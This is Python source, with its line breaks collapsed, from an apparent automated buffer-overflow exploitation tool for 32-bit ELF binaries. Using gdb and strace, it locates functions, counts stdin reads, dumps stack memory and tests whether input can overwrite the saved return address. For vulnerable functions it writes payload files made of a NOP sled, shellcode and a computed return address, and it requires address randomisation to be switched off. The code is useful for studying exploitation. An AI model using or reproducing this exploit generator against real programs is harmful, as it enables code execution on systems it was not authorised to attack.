def find_gdb_mem_diff(): if not path.isfile("stack_address.c"): return None system("gcc -o temp/stack_address stack_address.c") if not path.isfile("temp/stack_address"): return None nongdb_addr = interact("temp/stack_address")[0].split(":")[1] gdb_addr_str = interact("gdb -q temp/stack_address", ["run", "quit"])[2] gdb_addr = re.search(r'AdDr:([x0-9a-fA-F]{4,10})', gdb_addr_str).groups()[0] return int(nongdb_addr, 16) - int(gdb_addr, 16)
def find_first_func(elf_bin, elf_obj, mem_offset): #will return tuple with addr,funcname :: addr will be without offset funcs_list = find_all_func(elf_obj) first_func = find_addr( elf_obj['start_addr'], elf_obj)['func'] #first_func accordint to enry point first_func = first_func.split("@")[0] if first_func == "main": first_func_addr = hex( int(elf_obj['start_addr'], 16) + int(mem_offset, 16)) #if first function in objdump is main or main@@Base else: system("echo -n '' > gdb.txt") if len(funcs_list) == 1: first_func_addr = funcs_list[0][0] else: gdb_cmds = [ "b " + first_func, "run", "set logging on", "set logging redirect on", "while $eip" ] for func_tup in funcs_list: gdb_cmds.append("if $eip == " + func_tup[0]) gdb_cmds.append("set logging off") gdb_cmds.append("p \"found\"") gdb_cmds.append("x/x $eip") gdb_cmds.append("c") gdb_cmds.append("end") gdb_cmds.append("stepi") gdb_cmds.append("end") gdb_cmds.append("quit") op = interact("gdb -q " + elf_bin, gdb_cmds) system("echo -n '' > gdb.txt") try: first_func_addr = re.search(r'\$1 = \"found\"\n (.+?) ', ' '.join(op)).groups()[0] except: #print("FFA : "+first_func_addr) #print(op) return None #return first_func_addr = hex(int(first_func_addr, 16) - int(mem_offset, 16)) return (first_func_addr, find_addr(first_func_addr, elf_obj)['func'])
def find_mem_offset(elf_bin, elf_obj): #this function is with refernce to question asked here #https://stackoverflow.com/questions/54295129/elf-binary-analysis-static-vs-dynamic-how-does-assembly-code-instruction-memor #this function will return list, 0th ele is offset, 1st ele is True | Flase, True when result is with confidence and False without confidence loaded_start_addr = "" start_addr = "" first_func = find_addr(elf_obj['start_addr'], elf_obj)['func'] #suppose first_func is main@@Base but while loading this in gdb, there is no such thing to get a breakpoint, #there is main @@Base is trimmed #experimental change first_func_n = first_func.split("@")[0] op = interact("gdb -q " + elf_bin, ["b " + first_func_n, "run", "quit"]) for line in op: try: start_addr = re.search(r'Breakpoint 1 at (.+?)\n', line).groups()[0] except: pass try: loaded_start_addr = re.search( r'Breakpoint 1, (.+?) in ' + first_func_n, line).groups()[0] except: pass if loaded_start_addr != "" and start_addr != "": #guessing loaded_start_addr if int(loaded_start_addr, 16) == int(start_addr, 16): return ["0x0", True] elif int(loaded_start_addr, 16) == int(start_addr, 16) + int( "0x400000", 16): #adding 0x400000 according to answer in stackoverflow return ["0x400000", True] else: return [ hex(int(loaded_start_addr, 16) - int(start_addr, 16)), False ] else: raise Exception("ealib find_mem_offset failed to find offset")
def count_stdin(elf_bin, max_inps=10): #will return no. of stdin inpput needed by the process op = [] inps = 0 inp_li = ["x"] for i in range(1, max_inps + 1): #taking as max stdin input try: #print("trying :",inp_li*i) op = interact("strace " + elf_bin, inp_li * i, 2) except: for ln in op: try: fd = re.search(r'\Aread\((\d+?),', ln).groups()[0] if int(fd) == 0: inps += 1 except: pass break if i == max_inps: return i else: return inps
def dump_memory(func_name, end_addr, elf_bin): #will return stack memory dump from func start to end in a list of integer values gdb_cmds = [] gdb_cmds.append("break " + func_name) gdb_cmds.append("run < temp/inps/std_inps") gdb_cmds.append("break *" + end_addr) gdb_cmds.append("continue") #dumping memory , will dump +0x8 bytes, to get return addr in dumped memory gdb_cmds.append("dump memory " + "temp/mem_dumps/" + func_name + " $esp $ebp+0x8") op = interact("gdb -q " + elf_bin, gdb_cmds) #print(op) if path.isfile("temp/mem_dumps/" + func_name): mem_dump = open("temp/mem_dumps/" + func_name, "rb").read() mem_dump_int = [] for i in mem_dump: if not isinstance(i, int): i = ord(i) mem_dump_int.append(i) return mem_dump_int else: return None
def main(): #check requirements such starce etc dependency_unmet = False if not which("strace"): pout(2, "strace : not found - please install") dependency_unmet = True if not which("gdb"): pout(2, "gdb : not found - please install") dependency_unmet = True if not which("objdump"): pout(2, "objdump : not found - please install") dependency_unmet = True if not which("gcc"): pout(2, "gcc : not found - please install") dependency_unmet = True #uncomment this if interact("cat /proc/sys/kernel/randomize_va_space")[0].strip( "\n") != '0': pout(2, "randomize_va_space is not 0") dependency_unmet = True if dependency_unmet: exit() #check if command line input is passed if len(sys.argv) < 2: print(sys.argv[0], "<elf_file>") exit() elf_bin = sys.argv[1] #check if file exists if not os.path.isfile(elf_bin): print("No such file : " + elf_bin) exit() #check if file is elf 32 i386 bit binary op = interact("file " + elf_bin)[0] if op.find("ELF 32-bit") == -1: pout(2, elf_bin + " is not a 32 bit ELF, should be a 32 bit ELF.") exit() elf_bin_sz = os.stat(elf_bin).st_size cont = True if elf_bin_sz > 99999: cont = False print(elf_bin + " : " + str(elf_bin_sz)) inp = input("File too big, want to continue ? ") if inp in ['y', 'Y', 'yes', 'YES', 'true', '1']: cont = True if not cont: exit() ealib.print_banner() pout(0, "Cleaning temp files") ealib.clean_temp() pout(1, "temp files cleaned\n") pout(0, "Creating JSON object for : " + elf_bin) elf_obj = elf2json(elf_bin) pout(1, "JSON object created\n") pout(0, "Guessing PIE memory offset as compared to static memory addressess") mem_offset = ealib.guess_mem_offset(elf_bin, elf_obj) pout(1, "Start address : " + elf_obj['start_addr']) pout(1, "Memory Offset : " + mem_offset + "\n") pout(0, "Fetching user defined functions in binary") funcs_list = ealib.find_all_func(elf_obj) if len(funcs_list) == 0: pout(2, "Failed to fetch user defined functions.") exit() print(funcs_list) print() pout(0, "Finding number of stdin(s)") n_stdin = ealib.count_stdin(elf_bin) print("stdin(s) : " + str(n_stdin) + "\n") pout(0, "Fetching binary's call flow") func_flow = ealib.func_call_flow(elf_bin, elf_obj, funcs_list, n_stdin)[1] print(func_flow) print() pout(0, "Analysing binary for buffer overflow") vuln_list = ealib.bof_analysis(elf_bin, elf_obj, mem_offset, func_flow, n_stdin) print() pout(1, "bof analysis completed\n\n") vulnearable = False for vuln_dict in vuln_list: if vuln_dict['ret_addr']: vulnearable = True pout( 1, " VULNERABLE : " + vuln_dict['func'] + "() - with buffer len " + str(vuln_dict['shell_len']) + " @ stack address " + vuln_dict['ret_addr']) print() if vulnearable: #find gdb vs non-gdb memory layout difference stack_mem_diff = ealib.find_gdb_mem_diff() if stack_mem_diff == None: stack_mem_diff = 0 pout(0, "Generating shellcode(s) for vulnerable programme") for vuln_dict in vuln_list: if vuln_dict['ret_addr']: for key, shellc in SHELLCODES.items(): nop_len = vuln_dict['shell_len'] - len(shellc) - 4 if nop_len > 0: shellcode_path = "shells_" + elf_bin.split("/")[-1] os.system("mkdir " + shellcode_path + " > /dev/null 2>&1") inp_file = open(shellcode_path + "/shellcode_" + key, "wb") print("Creating shellcode : " + shellcode_path + "/shellcode_" + key) #generating shellcode to be executed for i in range(vuln_dict['nth_input']): if i == (vuln_dict['nth_input'] - 1): ret_addr = vuln_dict['ret_addr'] ret_addr = hex( int(ret_addr, 16) + stack_mem_diff) ret_addr = hex( int(ret_addr, 16) + 2 ) #adding 2 bytes ie eip will print 2 nop sled ahead... ret_addr = ret_addr.strip("0xX") ret_addr = ret_addr.zfill(8) #ret_addr_str="\x"+ret_addr[0:2]+"\x"+ret_addr[2:4]+"\x"+ret_addr[4:6]+"\x"+ret_addr[6:8] #print(ret_addr_str) inp_file.write(b"\x90" * nop_len + shellc) inp_file.write( binascii.unhexlify(ret_addr[6:8])) inp_file.write( binascii.unhexlify(ret_addr[4:6])) inp_file.write( binascii.unhexlify(ret_addr[2:4])) inp_file.write( binascii.unhexlify(ret_addr[0:2])) else: inp_file.write("X" + "\n") inp_file.close() else: pout(2, "Not vulnerable to buffer overflow")
def bof_analysis(elf_bin, elf_obj, mem_offset, func_flow=None, n_stdin=None): if not func_flow: func_flow = func_call_flow(elf_bin, elf_obj) func_flow = func_flow[1] #mem_offset=func_flow[0] #find mem_offset with guess mem_offset (if mem is randomize discontinue analysis) break_points = [] for fun_tup in func_flow: func = fun_tup[1] func_n = func.split("@")[0] func_dict = find_func(func, elf_obj) if func_dict: for a, i in OrderedDict( reversed(list( elf_obj[func_dict['section']][func].items()))).items(): if i.find("xchg") != -1 or i.find("ret") != -1 or i.find( "hlt") != -1 or i.find("repz") != -1 or i.find( "leave") != -1 or i.find("lea") != -1 or i.find( "pop") != -1 or i.find("nop") != -1: pass else: break_points.append( (func_n, hex(int("0x" + a, 16) + int(mem_offset, 16)))) break else: raise Exception("Func Flow's Function not found in elf_obj") print() print("\tSetting break points at following names and addresses\n\t", end='') print(break_points) #exit() #creating input files if not n_stdin: n_stdin = count_stdin(elf_bin) inps_file = open("temp/inps/std_inps", "wb") for i in range(n_stdin): #creating input file accorindg to number of stdin chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" rand_chars = rand(chars) + rand(chars) + rand(chars) + rand(chars) inps_file.write(rand_chars.encode('utf-8') + b"\n") inps_file.close() vuln_list = [] for brk_tup in break_points: end_breakpoint = brk_tup[1] for i in range(6): #max try if for mem dump in case of 0 byte result print("\tDumping for " + brk_tup[0] + "-> " + end_breakpoint) mem_dump_int = dump_memory(brk_tup[0], end_breakpoint, elf_bin) if not mem_dump_int: #not able to dump memory, hence trying to break program with one instruction above [brk_tup[0]] static_addr = hex( int(end_breakpoint, 16) - int(mem_offset, 16)) addr_dict = find_addr(static_addr, elf_obj) prev_addr = None for i in elf_obj[addr_dict['section']][addr_dict['func']]: #print(i,static_addr) if "0x" + i == static_addr: break prev_addr = i if not prev_addr: break else: end_breakpoint = hex( int("0x" + str(prev_addr), 16) + int(mem_offset, 16)) else: break if not mem_dump_int: vuln_details = { 'ret_addr': None, 'shell_len': None, 'func': brk_tup[0], 'egg': False, 'nth_input': None } vuln_list.append(vuln_details) continue # continue inps = open("temp/inps/std_inps").readlines() vuln_details = { 'ret_addr': None, 'shell_len': None, 'func': None, 'egg': False, 'nth_input': None } vuln_details["func"] = brk_tup[0] nth_input = 0 for inp in inps: nth_input += 1 inpl = [] for i in range(4): inpl.append(ord(inp[i])) #need to check if inpl is present in mem_dump in same order or not #print(inpl) offset = None for i in range(len(mem_dump_int)): if inpl[0] == int(mem_dump_int[i]): if inpl[1] == mem_dump_int[ i + 1] and inpl[2] == mem_dump_int[ i + 2] and inpl[3] == mem_dump_int[i + 3]: offset = i break if offset: vuln_to_bof = False vuln_details['egg'] = True print("\tFound EGG in " + brk_tup[0]) #checking if we can overwrite EIP #creating input file inps_file = open("temp/inps/std_inps1", "wb") shell_len = len(mem_dump_int) - offset for i in inps: if i.find(inp) != -1: inps_file.write(b"YEGG" + b"A" * (shell_len - 4) + b"\n") else: inps_file.write("X" + "\n") inps_file.close() gdb_cmds = [] gdb_cmds.append("break " + brk_tup[0]) gdb_cmds.append("run < temp/inps/std_inps1") gdb_cmds.append("break *" + brk_tup[1]) gdb_cmds.append("continue") #dumping memory , will dump +0x8 bytes, to get return addr in dumped memory gdb_cmds.append("dump memory " + "temp/mem_dumps/" + brk_tup[0] + " $esp $ebp+0x8") gdb_cmds.append( "find $esp, $ebp+0x8, 0x47474559") #hex for string YEGG op = interact("gdb -q " + elf_bin, gdb_cmds) #print(op) mem_dump = open("temp/mem_dumps/" + brk_tup[0], "rb").read() mem_dump_int = [] for i in mem_dump[-4:]: if not isinstance(i, int): i = ord(i) mem_dump_int.append(i) if mem_dump_int[0] == 65 and mem_dump_int[ 1] == 65 and mem_dump_int[2] == 65 and mem_dump_int[ 3] == 65: #print("EIP can be ovewritten") vuln_details["shell_len"] = shell_len vuln_details["nth_input"] = nth_input #vuln_details={"func":brk_tup[0],"shell_len":shell_len} vuln_to_bof = True if vuln_to_bof: #print(op) #finding stack address to overwrite in EIP try: ind = op.index("1 pattern found.\n") ret_addr = re.search(r'0x.+', op[ind - 1]).group() vuln_details['ret_addr'] = ret_addr except: raise Exception( "Error in finding stack return address") if vuln_details: vuln_list.append(vuln_details) return vuln_list
def func_call_flow(elf_bin, elf_obj, funcs_list=None, n_stdin=None): #will return list of #mem_offset #function name in order of call tuple(addr,func_name) if not funcs_list: funcs_list = find_all_func(elf_obj) if not n_stdin: n_stdin = count_stdin(elf_bin) inps_file = open("temp/inps/std_inps", "w") for i in range(n_stdin): #creating input file accorindg to number of stdin inps_file.write("A\n") inps_file.close() gdb_cmds = [] for func in funcs_list: fname = func[1].split("@")[0] gdb_cmds.append("break " + fname) gdb_cmds.append( "run < temp/inps/std_inps") #so that stdin wont interrupt gdb commands for i in range( len(funcs_list) * len(funcs_list) ): #adding continue n*n times, bcs there can be some recursive loop so giving max tries as n*n gdb_cmds.append("continue") #print(gdb_cmds) op = interact("gdb -q " + elf_bin, gdb_cmds) break_points = [] break_point_hits = [] for l in op: if l.find("Breakpoint") != -1: mat = None try: mat = re.search(r'Breakpoint (\d+?) at (\w+?)\n', l).groups() except: pass else: break_points.append(mat) mat = None try: mat = re.search(r'Breakpoint (\d+?), (\w+?) in (.+?) \(\)\n', l).groups() except: pass else: break_point_hits.append(mat) #break_point list, adding func name for addrs for i in range(len(break_points)): bp = break_points[i] func = find_addr(bp[1], elf_obj)['func'] break_points[i] = bp + (func, ) #calculating offset offset = [] for bph in list(set(break_point_hits)): for bp in break_points: if bp[0] == bph[0]: offset.append(hex(int(bph[1], 16) - int(bp[1], 16))) offset = list(set(offset)) if len(offset) == 1: mem_offset = offset[0] else: mem_offset = None func_flow = [] for bph in break_point_hits: for bp in break_points: if bp[0] == bph[0]: func_flow.append((bp[1], bp[2])) return [mem_offset, func_flow]